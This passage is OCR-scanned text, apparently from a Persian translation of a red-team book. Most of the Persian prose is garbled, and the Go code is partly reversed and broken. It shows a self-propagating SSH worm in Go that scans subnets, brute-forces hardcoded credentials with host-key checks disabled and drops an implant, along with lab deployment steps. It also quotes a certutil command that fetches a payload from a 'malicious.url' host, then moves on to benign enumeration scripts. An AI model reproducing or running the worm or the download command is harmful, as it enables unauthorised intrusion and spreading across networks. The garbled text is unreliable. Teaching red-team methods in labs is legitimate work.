network - "retd-network®
priority « 1000

project = (known after apply)
self link = (known after apply)

Figure 5-7: Output of the terraform plan command

terraform plan oled (> 505 V-0 JSG
GCP Cloud 2w S 5 1) o 5 S S0l iy 1) clla Ji Gl Jleal | sy sl 5 Jame S 0
) of o L col8iba 31 ) a5y 2 S e 0 a3 Allan gy gy sWlwa U a2 i(sal Storage
S e el (90 G ) 5 s lailely Olay (EalS

uigl.\ U:’J‘ L;J\J‘):u 232
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Figure 5-8: The GCP Compute Engine insfances list

GCP Compute Engine (sladi gai o yed 1A-0 S5
DSl sd s S S A g 5 bl ad e Call 5 4S Vs
()addrs, err := iface.Addrs
}if err 1= nil
continue

{

} for _, addr :=range addrs

} switch v := addr.(type)

:case *net.IPNet

}ifip4 := v.IPTo4(); ip4 != nil

()ones, _:=v.Mask.Size

} if ones == 32

baselP := ip4.Mask(net.CIDRMask(24, 32))

return fmt.Sprintf("%s/24", baselP.String()), nil

{

return v.String(), nil
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{
{
{
{

return "", fmt.Errorf("no valid subnet detected")
{

} func getOwnlP() string

()addrs, err := net.InterfaceAddrs

}if err 1= nil

nn

return

{

} for _, addr :=range addrs

} ()ifipnet, ok := addr.(*net.IPNet); ok && lipnet.IP.IsLoopback
}if ipv4 := ipnet.IP.To4(); ipv4 != nil

()return ipv4.String

{

{
{

nn

return

{

} func incrementlP(ip net.IP)
} —-forj:=len(ip)-1;j>=0; ]
++ip[j]

}ifip[j]>0

break

{
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{

{

} func isHostAlive(host string) bool

o

conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:22", host), SCAN_TIMEQOUT)
}if err 1= nil

return false

{

()conn.Close

return true

{

} func checkRemoteMutex(client *ssh.Client) (bool, error)

()session, err := client.NewSession

}if err 1= nil

return false, err

{

()defer session.Close

output, err := session.CombinedOutput("test -f "+ MUTEX_FILE + " && echo 'exists')
}if err 1= nil

return false, nil

{

return strings.TrimSpace(string(output)) == "exists", nil

{

--snip--
} ()func scanAndInfect
()subnet, err := detectAndSetSubnet
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}if err 1= nil

logMsg(fmt.Sprintf("Subnet detection failed: %v - canceling scan", err))
return

{

logMsg(fmt.Sprintf("Detected subnet: %s", subnet))

ip, ipnet, err := net.ParseCIDR(subnet)

}if err 1= nil

logMsg(fmt.Sprintf("Failed to parse CIDR: %Vv", err))

return

{

} forip :=ip.Mask(ipnet.Mask); ipnet.Contains(ip); incrementlIP(ip)

} ()if ip.String() == getOwnIP

continue

{

()host :=ip.String

logMsg(fmt.Sprintf("\n[*] Checking host: %s", host))
time.Sleep(SCAN_DELAY)

} if isHostAlive(host)

logMsg(fmt.Sprintf("[+] Host %s is alive and responding on port 22", host))

trylnfect(host)

{
{
{

} func trylnfect(host string)

"

var lastErr error
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retryDelay := INITIAL_RETRY_DELAY

Try all user/password combinations //

} for _, user :=range SSH_USERS

} for _, pass := range SSH_PASSWORDS

}config := &ssh.ClientConfig

,User: user

}Auth: [Jssh.AuthMethod

,ssh.Password(pass)

A

,()JHostKeyCallback: ssh.InsecurelgnoreHostKey

,Timeout: SCAN_TIMEOUT

{

logMsg(fmt.Sprintf("[*] Attempting login on %s with credentials %s/%s", host, user, pass))
client, err := ssh.Dial("tcp", fmt.Sprintf("%s:22", host), config)
}if err I=nil

lastErr = err

logMsg(fmt.Sprintf("[-] Login failed with %s/%s: %V", user, pass, err))
Apply exponential backoff //

time.Sleep(retryDelay)

retryDelay *= 2

} if retryDelay > MAX_RETRY_DELAY

retryDelay = MAX_RETRY_DELAY

{

continue

{

()defer client.Close
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infected, err := checkRemoteMutex(client)
}if err 1= nil
logMsg(fmt.Sprintf("[-] Failed to check remote mutex: %v", err))

continue

{

--snip--
e)SLg\),\GoAS:Y-O Cus jed
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s e S il (5 5l (sl W 48 (el L honeypot oasioii Jal xS e sdiinl g 53 ) (s )l
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61 0250 Sl ae (s o 5uilSe S S e A 5 Lo S e @l 2R il (gl 1 S () 4S ) shaler 4n 5
Gl ) il 5ica 0asll (slaglh ae el 510 .28 8 sla (ol S (Sad 51U 5l Lias 4y Uies Lol )
G () adasl poia SLL e 5 2l aaldinl A Sl | (sam 45 ) Gl oS AS a6 (Aaland
Sl i Oinad o nilSe 0l el e (ain a5 LS Calaal Sl ) s o8 sla b i3l 488l cull Laased o

0 e S 1 SSH aled Sl

W35, 5 o W Hay Cnsed 50 ik Ol S Gl Hse Sa) o) S Ol sieds )05 sladila ) Cugie
538 e S tMp/ oSS 41 38 5 3 aladl (SCP) Ge) (S IS5 S 2505 J) o 1 28 e ool
Sl Ol G Aoy A8 e ) e jon Glla 308 gl oal S S e aihaii | el gl s
A 5 g sl G Sl ) al ) B timeout ) s 5 23 il ladl g les 58 e 1Al gan

) A e 252

aolSa 5o S yad 5]y A g 4 3 sama slale s Jalid (S alal 15 358 Cailhal 43 &K oy Gl Ladi 4y € Juad
Sl lad e 5o a8 aaal s ealii o & il ) (l o cilia) a8 O S La i b (S slads o S

P

1S ) sa ealiiul Cailie)) Base64 IR ey g 5 JdlS )2 ) helloworld.go

package main
"import "fmt
} (func main
fmt.Printin("REPLACE WITH IMPLANT")
{
Rsd ikl Gl dsdle 5o S 518 sla U o K anl 63 lay ) ) helloworld-b64.txt i «UiS alia 5o
i ghe (g ikl

o S5Laa Google Cloud Js=iS 43 238 salal ad ) (b 8 Gl e 52 S 028l () 1y a S aS sl o
JSd 40) WS SUS patient0 3505 62 SSH (2 988 (5 5w 55 5 a5 » Compute Engine csladd gai (i
(S 4axal e A-0

SIS Authorize oy 258 SA 3L 1) 38 Heae (S gl sdn lad ) Gl (Sae 5 23S0 Ol 2 0yl S ol
Al Led (58 55 a0 500 SSH 4nsda b Vs 3a o jaky 2ad 4alal B S

s Ml g 3 s yub oyl

) g e e ) (020 Cinm 5 22y (3 )2 4S) BaseB4 saics )X e bad Wi s IR sla 40 Jilai Ly <y R
Upload File s, «x i J-aie patient0 Gl 4 SSH ) ealéiul L 4 oaliiul sad il i 31 4l )
2S00 ) worm-implant-1.2-bin.zip s ¢S QS ) G YU 2
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~cd$
unzip worm-implant-1.2-bin.zip $
chmod +x worm-implant-1.2-bin $
cp ./worm-implant-1.2-bin /tmp $
S Jls JAlS 1) sy (i ealod S AT (Y skl R
Caiba) S (518 sl

YU Lo JUI a3l 3 ) ge ae Go sladils il 5« cai s patient0 4 SSH J—ail )2 48 o
ssh-worm-implant-1.2.go s helloworld.go sladié s 1S SIS Upload File ¢y dadia Ciul y Cre
DS e |y 3l a3l Sl (laciuliE 4 atun o) (Saa s S 55 pe (A S Sl A Ak 4 )

S o 5800 35l 4n Gala e Slal (sl 1D Wl 4l ) i Gl (Sas g 0

4a 48 S Al e 9 0 el 358 GO Ad— (Sl s A sl 1) ) slagied dadild 3 sl Al i G
(8 e Aay) Una SSH DS 3K 1 48 113 (65 4308 353 50 APL-get (sWdins) WS e yal 15 ),Y0,)

wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz $
sudo tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz $
echo 'export PATH=$PATH:/usr/local/go/bin' >>~/.bashrc $
source ~/.bashrc $
go version $
S QS ) helloworld b« S 3541 1) Go sladild 48 (IS adigy Jlaa 2

go build helloworld.go $
Alternatively, use go compile -o helloworld helloworld.go //
base64 > ./hello-base64.txt $

:u€ | ja) ssh-worm-implant-1.2.g0 ¢! _» 4w W Sl 5 s bl 5 50 15 ) slple s cany
~cd$
mkdir worm-implant $
mv ssh-worm-implant-1.2.go ./worm-implant $
cd worm-implant $

go mod initworm $
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go mod tidy $
go mod download $

Laas I d)\.)gﬁd_;au A8y u:\.A.LAA 5 S d‘)\ﬁ&\; LSicsa o 1) Base64 c.\_ﬁa&)‘ﬁ).oj blob ! sina
(i ) 3-0 JSE) WS e

getinplantBytes() [lbyte {

AAAAAAAAALLLAAAA AL AAAAAAALANA A AAZAAAA, AAAALANANAAAZAAAAANA AL A SR AALA ’\A%:J\
AALAZAAAAAABAAAAAOAAARAY AASAAA AL A AR BAAAAALAAAE AAALAAA AP d B AALAAAAAALLALAAA A

Figure 5-9: Pasting the Base64-encoded implant sample between backticks

lAcS i8Sy ¢ Baseb4 s IR ja )y chilial 43 gai (5 )8 s\a 19-0 IS

G35 MBY, € 4 KB ) ) (s Gl 5l ol paia 06 0alii il helloworld ) ki 4S Base64 il
2 el ) e platiul build Ol <ol oIRGBl ) G 830 (5K S

go build -o worm ssh-worm-implant-1.2.go $
cp ./worm /tmp $
pHS el ) ) a8 5 e el (Sl st o Ak caplr 358 e 1) Gal ) S Y

SSH _se ey Cusa Hloal 6 kel

1) Ol Las el Jaled 4 jl aola 4 U5 2 gy o Jld sleadis juls bash SETER N z» Terraform X
SSH S e cnp ) al kil GCOP ¢ iy ) shio « pmala Jla )2 sl sldie ) W8 o 5lae ) sk
_J}SGA PR\ i

S s 300 5 2SS S Alal Ol G 1) w5 S Jud Gap 50 1) Hse Ja) Cus sl b Ll
al ) ) ) se 5 2sd Jaie patient0 42 SSH Gaub ) .S daaa g 3lails) ) () (5 el GO )3 a S Caoa
RIS

Add rttd user #

sudo useradd -m rttd

sudo passwd rttd

<.Set password as admin> #

.Optionally add user to sudoers #

Uil Gl sl eala
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sudo usermod -aG sudo rttd
Allow SSH password auth #
sudo vim /etc/ssh/sshd_config
Change line to #
PasswordAuthentication yes
.Restart services #

sudo systemctl restart sshd

5 e 0 pAD cad uai | ) SSHD (s Sy e S skl | jge Jay 5w Sadlal | rttd slS 48 aKs
DI USS patient2 s patient ) _n o2le BL VM sladisai (55, 1) dal e ) S daaa (g 5ol 5 1) (g
FS el 1) ) a0 se gl jae (o Juadl il Gile 31 ) e 288

<ssh rttd@patient<num $

D0 ol8ile 1 ol )y Badlae axin 48 s 3 S Jlad J ) Glisae s e Hsbda | oS 4S i salal Yla
Alai sk 4S 33 b s gle b 0 oe il U Galassal o S (sl gal gle)y S 4kl e s &)l asa a5 la
Rl i (3l 5 U A (hsals 1) 4 el 4 p (Saluds (o S Jaalla Jlae e 48l G 4 ) o8 )

5

) e S o2l

) Gy s e o 03 1) a S 5500 5 0 0 tmp/ 4=l 4 cpatient0 L2 25 3sa se SSH A—ala (550 )
J.\.\S \‘).;\

/cd /tmp $

& worm/. $
ls-lah $
catworm.log $
tail -f worm.log $

i G518 eas0a 0 ) bl sl S s 4dlsl b o)) 5 S Gl ) e S G, G a sl i e
283 Cum B () 4y 488y 4 b 50 S SSH lexd b s e Kon Gline 53 51w Sl 42 g5 b el My A o S
A€ S tmp/ 02 GiS dié 5 258 3515 patient2 ¢l SSH 4sala G 4y (s 258 43 patient0 )l G

QB S - Wy U IR RCH PR ATRL:
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[2) sah_cloud googie comiv2/sshprogects/vied lab/Tones vt -east ] -d/instand es/Datent 27 authuser s ORNsen _USAprosectNumbers §
%% wsh cloud google.com/v 2
f-; SCM-iN-DrOWSer * s nmm o

Figure 5-10: The logfile status of worm activities on patient2

patient2 G a S scullad (i) K Jl8 Cuma g 1) -0 IS

b o s Okme s ) Sl 5 el 03 S (S alba i a s AL VM ageias p 4] 358 0 S
s34 Jd ) Q\ﬁya\&:j\oq)sgds};s\mﬁ&})&‘hq 1y a5 lacSan 4AS—sam 03 4l VM (sladd gai sl 4l
S i) A sl Cuibual (6l jal gl GO Jl—aiiia

Base64 sxis I ha) ol b Su s Wole 48 48wl i o S S 4maa i ) Go ) L eJuad il o
S i) 5 sl shoneypot Sl sice aS 43S 4S 2 1S ealii ) 3 | sl Calial o) gieds |
EDR slalada 5 8 la () saiagle ) backoff b Jse e sl mnl 5 ediS CiiS | 258 450 4Sud )
Jé ) slaciisie gl w5 23S S SSH a1 SCP slaculid 5l salii wl L) ) 258 a9 5ol o S 240 plail
Cie s |5 C2 il oyl 2] e el )b slais Sl sdliind b S oy i Qs G ) eoliiid U 35a 5e
W 3 Jadd 2y o Jlad o S 4y (1 A (5 Sy Sl (G eSS 0Ll 03 00 (e Al sl s 0

a0 Aaila )y 3 dgaaa le ) S ) g8y ) B caw ) ) RFC 1918
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[

ENUMERATING LOCALLY
WITHOUT LOLBINS

LOLBIins 0% (slaa i led 1

Jad 5158 5 clyal i ol saliiad Gubad )y s G sl &) 25 55 e gl (3 lad slacSLsS
s lae caan b 40 8a 3 S sl A iS5 S ol e 1 G Sls laa S duad () o K
b K aaled ah S i jle S 4l e slled 5 cwhoami « hostnameaile e s syl ) eddiul ¢ 92

A S G ) i) () 5 Go ) i L)y 250 ) 5 LOLBIN 4 gy 3 Shee 4 &n

ol 52 i L T Jele sl (55 GO AS S (i s Jaad (pl (slalia

fCuuas L OLBIn

Cuale 5 aiiia Jlae Jelepluni O 084S aiia (e il cqom) 02 (S slags sy iése (ALOLBIN
O ol wsle s (gl ol lius oS a5 28w oIS () B (gl o BR L el cl bl R
D1 SCertutil.exe «Jhe gl xiladh ) ym o el o 3 @ jde Sl alai) (615 LOLBIN slaa See
ool Gl A e Gy e | GA\; Alaad 5 Jla LgLAGA\; < &l Microsoft Windows 2 (et ba
Coda calaal gl 2 e AR CuliE ol 2 a glily e a4 pald glaaa jy ) saldiul L Ladie s

135 saldinl Gl jae 4y il 5 la )l l il )

certutil.exe -urlcache -f http://malicious.url/hapyy.exe Sad.exe

malicious.url 31 1) 253 cide Jb 33 e o kel Lad 43 (-f) _bea) (oo 5350 ax s Liurlcache S ) saldi
.S padSad.exe o) sied ae Gy gt | o 5 i€ aglily

axS liia) la LOLBin ) 1 s
LOLBin (ks g ealéind L Jasi ya Liaal o (e g U8 ) o p 50l gl oanddil laaiona ) 5ok

4 S ¢l » W LOLBIn)) Red Canary il )l 3l slacnS s MITRE ATT&CK 2iile (lacsa jla 255l
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) ealdiiile g Lol ya so.ﬁ)'.'\..mg u»uu)] Gl ailea S saldiwl 3 g (Al slaculid unﬁlﬁ)‘ X S0OC r‘;:u slac
2)d Lk & ey YWdial 5 el LOLBIN ) ooliad 58 48 ¢ uline () 43 canngs o) 5o b s 8 WL OLBIN
JRAIRT. TN

) 2 2l Gk 158 1) W LOLBinGsWesliigl (3 i yaa (e (s gt n 1 (5 b a5 2
(S salii ) aelc ) S (ol (515 LOLBIN <o ) 43 8a 28 e sai i s s2S0 0 S 4SS (Ui

palen o g AR Ly by k351558 Gyl il XS a Sy 5 (S Google ) 1D B2 sai Y sena
LB ailagl o 25 Jidu ol Lab cdidy )50 (s 55 51 U 3 e a5 L e it | gl 4 ,atly
Uy pand S (slaaiuu 250 S5 yinas (slaaionn 0 o) 800 5 AlL 4Sh Ladl e (aud i
O A e (i i Cullad gl JKGLES ol sieds |5 LOLBIN )l g ()55 (5 e a5 e (e S
i ) ani€ Jalat Led a0 se o G gl gl 5 K b ) Lad claladl Al il g e Waaic
ol 5l AL S SOC 4 5 ¢S 53 | |al e )1a e Cat Lai 48 i€ e cpd Lol €2l 54

a3 a l05a(BIOC)

Ol e 4n 1y e il anily 3l sl (Sas) i€ i) b LOLBin4ed D) il (Sae dizes i) (Sas 4 K
U815 2 1 al a3 0l ham (555 212 2 4S acullad L5 s «(Jlie (51 025 ) AT 033 Ly 25 S i
al 1 2 celdy sl ) ) il e o 52 aS 2l sinle )l Jase oSG Wacillee 5 (gl 2 80 iy adlal )

S Gt g8 Tagma 4 5 3 1y JSie sl L 0 € Jlaial 5 35S (e 15 agila 8 5 3

L) e AS (Dlaedld 5 0S| el 2 e 4S 3l dga g Wagle i 51 (AL o alaat cas Caa SO el eti.’m
o) (g ) 02ld (g yid 2iay e o Jlad Ladi 434S 3 S 2l A 3S e le 8 Al iy gy el Wal ciS (6 ) gl
XS amy (A 50 5 S el g g5l IS sk lagle o )l iy ble S (5 slaen 2 lailiul gla LOLBIN)
Ol 4 Jah 48 2 8L 480 da 550 S sl A s B ol (Sae 48 s lagl 1SS 6l ) dale i ) Jiiase
Lt b 800 (slagle 8 (sl 1) IS (et il 55 a3 4S o Uima il 4 S G381 53 e ey 0l 50 e 4S i
DA G (o) ) S aal sdn Gl Sae 258 (ile )l 534S 0 SL AT Gl As o5 Cpiaad o alad) 0SS Adl )

S ol el (ladale au ala

quu.u_qj_)_u 61&%\)&)‘@5\_’_)313‘545_\_‘.»63.\4‘)5.3 ‘ULI‘)..)A(:L} ‘L«u,ﬂ;u\f}s ‘dal.c(u_uu_u )\ A.u‘)l.\x:‘\.\_uéc_\:i
Joalda e sadangle ) alh

b Sige s diadan 5 Kisld ja S eSS e B ati 5l 4n (s Sl Sla e A 5) n dale s 5 jled
LA)\)J\ J\ €Al gl d-“l-‘:ei‘-‘-‘:}“ uald LQLA&UJ J\ ¢S lA) I cualia Lg‘)b‘):\c)@_.\ Lg\.hui)) A o)\;\ L&su‘ 4
YN e.\L.u \) Lg‘)\ﬁ‘).ga)@_j J\ o il 2 K ¢S palai k_\.u:l_\A LgLAu\.AJS 9

2 2 sle dalepiuis il ) sWLOLBIN
Linux/Mac: uname -a

Windows: winver
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Z
Loy S 5 Ol 0K
collaiad cu yols slacsaiy Sn YL o) L slacilon 23S o CSaS L 4o L caon (slan s S 5 ol o )lS i jleds
JQ\J@A\LSEJ‘L\)"GAUZ"JMSGJL‘&M\)JPA_A*&)-’)\SM;\AJj‘M}Aﬂd)‘d);a)@m\ -5 45 .L:\s_\
-i‘sd:‘ﬁ-"“j‘) L_s"“L“z.;\ (iga ‘L‘Lﬁhgj‘gﬁj\lgtg c‘_s_\.\\.; U’_SJ; ‘Lﬁ)‘{)—."’)@—,’
e 4 cl o il sladbie o) 15 V=T Jsas

Table 6-1: Common User and Group LOlBins
Linux/Mac Windows

Users cat fetc/users net user or net user /domain (domain users)

Groups cat fetc/groups  net localgroup or net group /domain ([domain groups)

o5 8 5 ;S iy s LOLBinY-1 Jsa

S0S aal s (o) s Ay lae 4SS 5 Gliae Gl Sy gl d 1) aa camy (Bay )0

Ol e pl

S 451 e IR e (5 a3 ) )) 4in ) e B ati engagement <Sa dsh 0 Ol e pb i e
el (g1 (S Sl |y oo wian wd Slee |y (3 1 g Ol LS e a3 )b S 5 (sl il
JEEATTRPIFRYN (—;A\)s ales la ja gl p @\Aé_’u_m c).J_Jh 43ala eatiSJ yiK SG Jl 55 «DC-01.domain.com
224 ) ol O ey (ol 4y S (gl g 48l 55 sl s s e b0

hostname. ) <) & ke Windows s <Mac ¢« Linuxgs!_: o 2L LOLBIN cr izl
Jsnld 5 4l san Sy

CAVLAN by ¢ |Psliad dille (450h (55 ¢ o o8 o 5l (Sl 3 Ledi (ae caoa Jl g e 5 4l (sai S (6 jles
Ao pal 8 ales (sl e 5 (ila ES a ) Jaia) laal s ) (5 geal Ginad ) skl

S oe Cu yed |y 4wy ) )3 il s LOLBINY-1 Jsas

Table 6-2: Common Network and Firewall Configuration LOLBins

Ubuntu Linux Mac Windows

Show interface and | ip a ifconfig -a ipconfig fall

IP information

Show routes ip route show netstat -In route print

Show gateway ip route show | grep netstat -rn | ipconfig
default grep default

Show firewall rules | sudo ufw status or  sudo pfctl -st  netsh advfirewall
sudo iptables -L -v firewall show rule

name=all | more

sl 5 a8l o S il la: LOLBINY-1 Jsaa
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a2 4l 2 53 e Sl Lyl 6l 5 b Jaih 480 e DUl

sl da Hoeadangle) callay o o g dlaail 3

clial ) w8 afiengagement S Jsb 3 1oal Ja asadgaigle ) calda g 5 dau gy daail B (5 led
Gbdtia 51 1) T=1 Jsaa ol la el a2l Codla 5 s Ial ceila &S ja el il sl ) (i )
i 45w Gl SILOLBIN

Table 6-3: Common LOLBins for Processes, Services, and Scheduled Tasks

Linux/Mac Windows
Processes ps -aux or top tasklist
Services ps -aux or top scC queryex type=service state=all

®  Llinux: systemct] list-units —type=service -all
* Mac: launchctl list

Scheduled | sudo crontab -1 -u USERNAME or atq schtasks /query or at
tasks

sl sai e ) a9 (g e cladil B () il ) sla: LOLBINY-1 J s>

sl gl (sl sis ) ) AS il o iy e S a3 1 lae (it alal sl sl sl Vs
A dlad R s b g5 1) b lada U A

D) liial calaal a8 g alaol a5 G 0 JUAS i jle S Al sl 1) 258 sl )l el sl 0

liial g daly s slag) sal 53 ) sl (Gl Sae 4S s o dA\.Gelm:\u ) Jese IS ) ol ¢ 5
,qumﬁ@\ﬁgou}&\ﬁ\j\

2 e cmdle 5,1 o) a8 dee Al s o S 2l A ) jal GO ede ) oaldinsd L) oS Ladi cJuaad oyl Caaa (5] p
deleaivns 5) 2 Go L) o ¢oadl s lilee 505X 5) saliind (5) 50 S (iile 31 5 oaaliie ad i )3 (5o S (laial ) Jd
DS QS ) G geady

.S sl mkdir folder_name L 253 o 550 ) 0 4di sy S,
.25 cd folder_name b 253 o 59y 4dig 402,
A€ 4l a0 )l go mod init tool_name L1 25 055 3.

oSaia ) ) JsSle 285 sl Sl 5 383 ) bty g0.MOd 4S 353 Juaala (Jlisedal U aiS | jal 1,4, go mod tidy
e (Sl g al K S daa 4y ol Lol (Sl 5 (S e 6l 0 1) s )0 30 slagia go.sum s S
S eSS 035 ) S8k

A4 saléin) create tool_name.go b .go Jid S 4y dhad () 3S (S (5) 0 063 4BMe 350 Sl s )5,

e byl g ‘).\_&:u) 0 | jal A 53 pa Sealdt ) (:_)y &l oas b alalis ja aat gl 016, go get gopkg
.(\\ﬁ A\Aém‘)ﬁ«\.ha}‘)gjot):\)ls»

.2 b go build app_name tool_name.go L | 25 44l 17,
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Jale st i) R 5 (andids

s o LSJJJSA.S‘;-AL-C?:\—.M{-}—M u:)\‘}g}ﬁju&‘)g ) r runtime 4AUS ) c0s.g0o ¢ V-1 G ¢80 Go S
..J:\SGA saldil .J}.&‘;q

package main

import (

"fmt"

"runtime"

)

func main() {

os :=detectOS()
fmt.Printf("Detected Operating System: %s\n", runtime.GOQOS)
fmt.Printf("This system is associated with: %s\n", os)
}

func detectOS() string {

switch os := runtime.GOOS; os {
case "windows":

return "Windows"

case "darwin":

return "macOS"

case "linux":

return "Linux"

case "freebsd":

return "FreeBSD"

case "openbsd":

return "OpenBSD"

case "netbsd":
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return "NetBSD"
case "android":
return "Android"
case "ios"
return "iOS"
default:

return "Unknown Operating System"

}
}

Caon Jale gispes i jladh )= o ygd

Gale ain S 3 e (L& AS el b ) ea S lap a8 laleabinn a8 c2823 (el ) ) Jale a4l cpl X
LSLALJALG('J.M:LM e dS e\i.’&s 1) b sl case switchaa s o kel Ladi 4 ¢l ala aal ga ui)\)'g Gl 43l GG
S ik 5 bl it alail ) eaii ) R daleium Jlaie 5l il 5ice 238 ailial oxif slacillee 2 Ll

i ealdia) (bl cpl

2203 S e ) ) a5 A macOS s 0s.80 &)
$ gorun os.go
Detected Operating System: darwin
This system is associated with: macOS

515 A e i | runtime S 3l e eyl 3l dele s (5 jlane 2l ¢l el 4y &)
.S saliiul o goarch ) sl i

Loy R 5 0l S ) Active Directory s s> s

)1 gdldia s 682 S5 MacOS s. Linux 3l (K dale g 4 lao s £ 5 0l 50 S i sleid slagiis )
cat s cat /etc/passwd il i Linux 02 «Jle ) 2 b Gglaie s Windows s Linux W
diile Sl jd L WS —w ) Cilusers oS 0 b Windows L2 4S8 (s o i€ ) jal 1 /ete/group
Active 3 il (S-S i slae s R 5 Gl S 4 81l Cugliie jid Ghole 3 2iS sali uinet user

S 680 s o)) 50 Jlis 3 <Directory
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S x 1y ldap i Al i€ al o s & 5 58 (il ) 1) Jd ol (il Ay il 5 48l ) O
ol a9 Sl HI o ped o dls () )y dal e ol S a5 2 50a Active Directory s soe
S Jlia a Y slagle s

S alsol mkdir ug L s XS gl 4l S,
Asnedugl v 4dg a2,
S oAl 5 S (5 I8Gsla Gl 53 1) Yo i jed i€ alag) 363 48e 350 Kl s L) ug.go JiE3.
S 4l sl a0 )l go mod init ug b 1 25 055 4.
28 ) al )5, go mod tidy
S el ol G cual sl g0 get gopkg.in/ldapv2 S cuai | ldap 4iw go mod tidy ole i S
package main
import (
"bufio"

"fmt"

0s
"os/user"

“runtime"

"strings"

"gopkg.in/ldap.v2"

)

// Group represents a user group.

type Group struct{

Name string

Users []string

}

// GetAllUsers retrieves all users on the system.
func GetAllUsers() ([]*user.User, error) {

var users []*user.User
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currentUser, err := user.Current()

if err 1= nil {

fmt.Println("Error retrieving network interfaces:", err)
return

}

for _, iface :=range interfaces {
fmt.Printf("Interface: %s\n", iface.Name)
addrs, err := iface.Addrs()

if err!=nil{

fmt.Printin("Error retrieving addresses:", err)
continue

}

for _, addr :=range addrs {

fmt.Printf(" Address: %s\n", addr.String())

}
}
}

/! GetDefaultGateway retrieves and prints the default gateway.
func GetDefaultGateway() {

routes, err := netlink.RouteList(nil, 4)

if err!=nil{

fmt.Println("Error retrieving routes:", err)

return

}

for _, route := range routes {

if route.Dst == nil{// Default route
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fmt.Printf("Default Gateway: %s\n", route.Gw.String())
return

}

}

fmt.Println("No default gateway found.")

}

func main() {

// Retrieve and print network interfaces.
GetNetworkiInterfaces()

// Retrieve and print default gateway.

GetDefaultGateway()

}

Apsec.ir

A el A5l (20 Sy Sl (b b 1E-T Ca yed

gorunnt.go $
Interface: lo0
Address: 127.0.0.1/8
Address: ::1/128
Address: fe80::1/64
Interface: gifO
Interface: stfO
Interface: anpiO
Interface: anpi2
Interface: anpi
Interface: en1

Interface: en2
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Interface: en3
Interface: bridge0
Interface: utunO
Address: fe80::568f:c3c9:b230:4c9d/64
Interface: utun1
Address: fe80::bfaf:d200:44b:8e26/64
Interface: ap1
Interface: en0
Address: fe80::884:937
A8 1) Jhsnld san S 2l i Y e 5n Jale i 480l a1 S b
Windows

13 Se 1y lad 028 yed 2ol 5 3 e w0 1 Windows Firewall Cusca s cwfw.go ¢0-1 s yd
package main
) import
"bytes”
"fmt”
"og"
"os/exec”
(
.runCommand executes a command and returns its output //
} func runCommand(command string, args ...string) (string, error)
cmd := exec.Command(command, args...)
var out bytes.Buffer
cmd.Stdout = &out
var stderr bytes.Buffer
cmd.Stderr = &stderr
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()err:=cmd.Run
}if err 1= nil
return ", fmt.Errorf("%s: %s", err, stderr.String())

{

return out.String(), nil

{

.checkFirewall checks if the Windows Firewall is enabled //
} ()func checkFirewall

,"output, err := runCommand("netsh", "advfirewall", "show
("allprofiles”

}if err 1= nil

log.Fatalf("Failed to get firewall status: %v", err)

{

fmt.Println("Firewall Status:")

fmt.Println(output)

{

listFirewallRules lists all the firewall rules //

} Ofunc listFirewallRules

,"output, err := runCommand("netsh", "advfirewall", "firewall", "show
("rule", "name=all"

}if err 1= nil

log.Fatalf("Failed to list firewall rules: %Vv", err)

{

fmt.Println("Firewall Rules:")

fmt.Println(output)

{
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} ()func main
()checkFirewall

()listFirewallRules

{

Windows Firewall 2! 8 5 Cumaca s gaila K 3L 1021 Caw jgd
S oal ) G et ) wfw.go

C:\ go run wfw.go

:Firewall Status

:Domain Profile Settings

State OFF

Firewall Policy Blocklnbound,AllowOutbound
LocalFirewallRules N/A (GPO-store only)
LocalConSecRules N/A (GPO-store only)
InboundUserNotification Enable
RemoteManagement Disable
UnicastResponseloMulticast Enable
‘Logging

LogAllowedConnections Disable

LogDroppedConnections Disable

\FileName %systemroot%)\system32\LogFiles\Firewall

pfirewall.log
MaxFileSize 4096

--snip--

Apsec.ir

a3 e\fs_'us 48 Gl ciea) e ladi o dalas o S0 g ol LA 4a g netsh s os/exec 4AUS ) salaiul 4
Cudd o b Wiw. g0 e slagila )l 3 aad 55 Wl b calide w iy 7 shis b Windows 43w (paia 53 XS
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D) ol (53 )S Jlad g0l | jal a8 Windows cldaleaton i dia 30 39 (55 e e i b
.Palo Alto Networks ! Cortex XDR L Windows Defender

macOS

\‘) Sl d\.&ﬂﬁ&\cj&:& B-3E) J.\SG.A — )1 \J macOS GJ;\J d‘_g‘):iu [GEY SG- ‘me.gO 11 U’_\_.u:)@ﬁ
80 oo gl U i ) el YU Gsia b1 S 0l by 48 080 4381 An g 2l Soa

package main

) import

"bytes”

"fmt”

"os/exec”

"strings”

(

.checkFirewallStatus checks if the macOS packet filter is enabled //
} func checkFirewallStatus() (bool, error)

cmd := exec.Command("sudo", "pfctl", "-s", "info")

var out bytes.Buffer

cmd.Stdout = &out

.cmd.Stderr = &out // Capture stderr too

()err := cmd.Run

}if err I=nil

return false, fmt.Errorf("command failed: %v, output: %s", err, out.String())
{

output := strings.TrimSpace(out.String())

If output contains "Status: Enabled", the firewall is active //
return strings.Contains(output, "Status: Enabled"), nil

{

listFirewallRules lists the firewall rules on macOS //
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} func listFirewallRules() ([Istring, error)

.cmd := exec.Command("sudo", "pfctl", "-sr") // Using pfctl to list rules
var out bytes.Buffer

cmd.Stdout = &out

cmd.Stderr = &out // Capture stderr too

()err:=cmd.Run

}if err 1= nil

return nil, fmt.Errorf("command failed: %yv, output: %s", err, out.String())
{

rules := strings.Split(strings.TrimSpace(out.String()), "\n")
return rules, nil

{

} ()func main

.Check firewall status //

()isRunning, err := checkFirewallStatus

}if err I=nil

fmt.Println("Error checking firewall status:", err)

return

{

} ifisRunning

fmt.Println("macOS Firewall is enabled.")

} else {

fmt.Println("macOS Firewall is disabled.")

{

List firewall rules //

()rules, err := listFirewallRules
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}if err 1= nil

fmt.Println("Error retrieving firewall rules:", err)
return

{

}if len(rules) ==

fmt.Println("No firewall rules found.")

}else {

fmt.Println("Firewall Rules:")

} for _, rule :=range rules

fmt.Println(rule)

{
{
{
mMacOS Jlsu 2ol 5 i s il &3l 1T-T s yed

i e GBS ) daledi—w SR slagle 4 5 os/exec ) 4dir o (Windows Firewall S 2ile
L ()exec.Command @& o 1) "pfotl” amdl 418l 5l Cuul (Sas €353 MACOS Ao 4 Ay | 35S a0 03liTul
(3":‘ C}“‘-"“ OS XLion10.7 » ipfw) L€ u.-.’ﬁlé "ihW"

2SIl ) Gyseeta | mfw.go
sudo go run mfw.go $
.macOS Firewall is disabled
:Firewall Rules
No ALTQ supportin kernel
ALTQ related functions disabled
scrub-anchor "com.apple/*" all fragment reassemble
